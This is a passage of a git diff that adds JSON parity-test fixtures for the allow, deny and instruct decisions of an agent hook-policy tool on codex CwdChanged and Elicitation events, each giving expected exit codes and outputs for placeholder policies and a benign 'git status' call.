"deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3cc88bf1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3e10543d --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d2f7d65a --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b63dbab0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..841c95fe --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..61a48361 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..60027d5f --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f558182f --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..22ddffb0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bf2e70ab --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c265223c --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d41da59d --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c801ef16 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..526d6514 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..183acad2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..bc9bce3c --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..48445e0d --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..154632fc --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..56ebf408 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": 